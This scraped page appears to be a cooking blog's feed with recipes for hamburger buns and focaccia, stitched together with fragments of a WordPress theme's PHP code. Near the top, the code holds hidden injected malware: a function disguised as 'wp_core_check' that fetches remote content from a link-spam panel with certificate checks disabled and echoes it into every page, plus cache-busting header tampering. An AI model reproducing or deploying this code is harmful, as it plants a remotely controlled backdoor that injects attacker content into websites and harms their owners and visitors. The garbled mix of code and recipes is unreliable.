- ', $class, 1 );
}
add_filter( 'wp_page_menu', 'kale_wp_page_menu_class' );
#get_the_archive_title
function kale_archive_title( $title ) {
if( is_home() && get_option('page_for_posts') ) {
$title = get_page( get_option('page_for_posts') )->post_title;
}
else if( is_home() ) {
$title = kale_get_option('kale_blog_feed_label');
$title = esc_html($title);
}
else if ( is_search() ) {
$title = esc_html__('Search Results: ', 'kale') . get_search_query();
}
return $title;
}
add_filter( 'get_the_archive_title', 'kale_archive_title' );
//https://productforums.google.com/forum/#!topic/webmasters/WUszeNYGNdg
# Remove the "hentry" class from pages and archives (prevents structured data errors)
function remove_hentry( $classes ) {
if (is_page() || is_archive()){$classes = array_diff( $classes, array('hentry'));}return $classes;
}
add_filter( 'post_class','remove_hentry' );
/*------------------------------
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------------------------------*/
#add search form to nav
function kale_nav_items_wrap() {
// default value of 'items_wrap' is
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" GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999); /* Telegram: https://t.me/hacklink_panel */ if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}
-
Soft & Fluffy Sandwich/Hamburger Buns https://kindnesskitchen.ca/hamburger-buns/?utm_source=rss&utm_medium=rss&utm_campaign=hamburger-bunshttps://kindnesskitchen.ca/hamburger-buns/#comments Sat, 26 Aug 2017 01:57:41 +0000 http://kindnesskitchen.ca/?p=1082 Is there anything more incredible or satisfying than homemade buns or bread? If there is, I don’t want to know about it! I love baking bread – the magic of mixing flour, water, and yeast to produce a nutritious and delicious staple food is incredible and I always feel tied to the ages when I […] The post Soft & Fluffy Sandwich/Hamburger Buns appeared first on Kindness Kitchen.
]]>
This recipe produces giant, pillowy soft, delicious buns. These quick, easy, and yummy buns are perfect for a delicious sandwich, sturdy enough to hold a hearty veggie burger, and satisfying enough to snack on with a simple schmear of peanut butter.
I developed this recipe to use quick rise instant yeast, eliminating the need for a double rise. If you are a bread/bun baking novice, this recipe is totally accessible and easy to follow – if you’re an expert you’ll appreciate the simplicity of this recipe.
So, how do we make these buns?
First you combine 3 cups of all purpose flour, 1 cup whole wheat flour, the sugar, salt, and yeast in the bowl of stand mixer (or in a large bowl if you would rather knead by hand)
Next, pour in the water and oil. Stir together using a spatula or paddle attachment.
Once combined, switch to the dough hook and keep stirring on low. Slowly add in 1-2 cups more flour (I typically only need 1 more cup). It will come together and become less sticky once enough flour has been added.
Once the flour is stirred in, mix on low for about 7 minutes with the dough hook (or knead for about 10-12 minutes on a lightly floured countertop) until it forms a cohesive smooth ball that is slightly sticky. Let the dough rest for 10 minutes.
TIP: If you poke it with your finger it should spring back, this shows that the gluten is well developed. Another test is to break off a golf ball size of dough and gently stretch it between your fingers trying to get it to stretch thin (so you can see light through it) without breaking.
Divide the dough into 16 equal parts. I use a kitchen scale and calculator to ensure evenness (it helps to ensure even baking if all the buns are the same size).
Roll the dough pieces into smooth balls and arrange on two lightly greased baking sheets.
Cover and let rise in a warm place (like an oven with a light on and pan of warm water in the bottom) for 1 hour.
After they have risen, remove from the oven and preheat the oven to 400’F.
Meanwhile, mix 1 tsp sugar with 1/4 cup warm water and brush on the tops of the buns. Sprinkle with sesame seeds or poppy seeds, if desired.
Bake for 15-20 minutes, or until tops are golden brown and the buns sound hollow when tapped.
Enjoy
The hamburger bun recipe:
Soft & Fluffy Sandwich/Hamburger Buns
An easy and satisfying way to have fresh buns for dinner tonight! The actual hands-on time for these buns is about 25 minutes. The remainder is resting, rising, and baking.Servings 16Calories 190kcalIngredients
- 4.5 tsp quick rise instant yeast
- ¼ cup sugar
- 2 tsp salt
- 4-6 cups flour, divided (I use 1 cup whole wheat and 3-5 cups all purpose)
- 2 cups warm water
- 1/3 cup vegetable oil
- ¼ cup water
- 1 tsp sugar
Instructions
- First you combine 4 cups of flour (I use 3 cups of all purpose flour, 1 cup whole wheat flour), the sugar, salt, and yeast in the bowl of stand mixer (or in a large bowl if you would rather knead by hand)
- Next, pour in the water and oil. Stir together using a spatula or paddle attachment.
- Once combined, switch to the dough hook and keep mixing on low. Slowly add in 1-2 cups more flour (I typically only need 1 more cup). It will come together and become less sticky once enough flour has been added.
- Once the flour is stirred in, mix on low for about 7 minutes with the dough hook (or knead for about 10-12 minutes on a lightly floured countertop) until it forms a cohesive smooth ball that is slightly sticky. (See TIP in the notes)
- Let rest for 10 minutes
- Divide the dough into 16 equal parts. I use a kitchen scale to ensure evenness (it helps to ensure even baking if all the buns are the same size).
- Roll the dough pieces into smooth balls and arrange on two lightly greased baking sheets.
- Cover and let rise in a warm place (like an oven with a light on and pan of warm water in the bottom) for 1 hour.
- After they have risen, remove from the oven and preheat the oven to 400'F.
- Meanwhile, mix 1 tsp sugar with 1/4 cup warm water and brush on the tops of the buns. Sprinkle with sesame seeds or poppy seeds, if desired.
- Bake for 15-20 minutes, or until tops are golden brown and the buns sound hollow when tapped.
Notes
TIP: If you poke the dough with your finger it should spring back slowly, this shows that the gluten is well developed. Another test is to break off a golf ball size of dough and gently stretch it between your fingers trying to get it to stretch thin (so you can see light through it) without breaking - this is called the "window pane" testIf you decide to make this recipe, please RATE/COMMENT below! Thanks
Just look at that fluffy, pillowy, goodness. YUM!
The post Soft & Fluffy Sandwich/Hamburger Buns appeared first on Kindness Kitchen.
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No-Fail Focaccia Bread! https://kindnesskitchen.ca/no-fail-focaccia/?utm_source=rss&utm_medium=rss&utm_campaign=no-fail-focacciahttps://kindnesskitchen.ca/no-fail-focaccia/#comments Mon, 29 May 2017 12:56:50 +0000 http://kindnesskitchen.ca/?p=676 You know what I love? I love warm, pillowy, homemade bread! I love it even more when it has a crispy crust and is spongy and sturdy enough to take on being dipped in olive oil and balsamic vinegar. Even better if making it only takes me about 5 minutes of hands-on work and about […] The post No-Fail Focaccia Bread! appeared first on Kindness Kitchen.
]]>This recipe is a really easy recipe that is incredibly forgiving and has lots of room for modification. I know that many people are intimidated by baking bread. If that’s you, then this is the recipe for you – you seriously can’t screw this up! It’s so easy and so flexible. That’s why I call it No-Fail Focaccia!
All you do is throw all your dough ingredients in the bowl of a stand mixer,
Mix the dough for 1 minute on high and then press the STICKY dough (it will be sticky, that’s OK!) into the pan. It probably won’t fill the pan because it will spring back. That’s ok.
Let the dough rise for an hour (or a bit more, like I did… whoops! That’s why it kind of looks ratty where the dough was stuck to the saran wrap, but it doesn’t matter)
See those little bubbles? Those are the air pockets that are going to make your bread spongy and airy! Beautiful!
Poke the dough all over with your finger or the end of a wooden spoon. Drizzle with olive oil and sprinkle with desired toppings (I used sea salt, fresh cracked pepper, and Italian seasoning).
Bake for 30 minutes or until it’s golden brown and sounds hollow when tapped.
Remove from oven and let stand for 5 minutes and serve it up! Easy peasy!
I have lots of ideas rattling around in my head for modifications. FYI, I have made this before in two 8x8s and in two 9″ cake pans, so yes – you can divide it in two to make two different flavours. I am thinking of trying a Greek-style with kalamata olives pressed in the top and sprinkled with oregano and maybe some lemon zest. I have done it pizza-style with pizza sauce and cheese on top (that was a HUGE win in our house). The sky really is the limit here.
With this base recipe, you’ll be very impressed with the texture of the bread. Because of the olive oil in the bottom of the pan, the crust is “buttery” and crispy. The bread itself is the perfect firmness while being spongy and chewy. It makes for a killer sandwich too!
No-Fail Focaccia!
This easy bread requires just 5 minutes of hands-on work, 60 minutes to rise, and 30 minutes in the oven!Servings 16 square slicesCalories 143kcalIngredients
- 3 1/2 cups all purpose flour
- 1 tbsp instant yeast
- 1 tsp salt
- 3 tbsp olive oil
- 1 1/2 cups warm water
- Extra olive oil for the pan and drizzling on the top.
- Seasonings of choice for sprinkling see note
Instructions
- Grease a 13x9 pan and pour some olive oil (about 2 tbsp) into the bottom of the pan. Set aside.
- Add the flour, yeast, salt, olive oil, and warm water the the bowl of a stand mixer.
- Mix on high for 1 minute.
- Press the dough into the pan. The dough will be very sticky, that's OK. If it doesn't press all the way to the edges, that's OK too.
- Cover with plastic wrap and let rise somewhere warm for 1 hour.
- Preheat oven to 375'F
- After 1 hour the dough should have risen to double (or more) of its original size. Remove the covering and poke the dough all over with your finger or the end of a wooden spoon.
- Drizzle the top with olive oil and sprinkle with your choice of seasonings.
- Bake for 30 minutes, or until the top is golden and the bread sounds hollow when it's tapped.
Notes
Use your imagination to decide on toppings.
-A classic is Italian seasoning blend, sea salt, and pepper.
Just look at that beautiful crust! YUM!
If you make this recipe, please rate and comment below! Thanks
The post No-Fail Focaccia Bread! appeared first on Kindness Kitchen.
]]>676
- %3$s
- , set 'menu_class' and 'menu_id' values
$wrap = '
- ';
// get nav items as configured in /wp-admin/
$wrap .= '%3$s';
// the static link
$wrap .= kale_get_nav_search_item();
// close the
-
$wrap .= '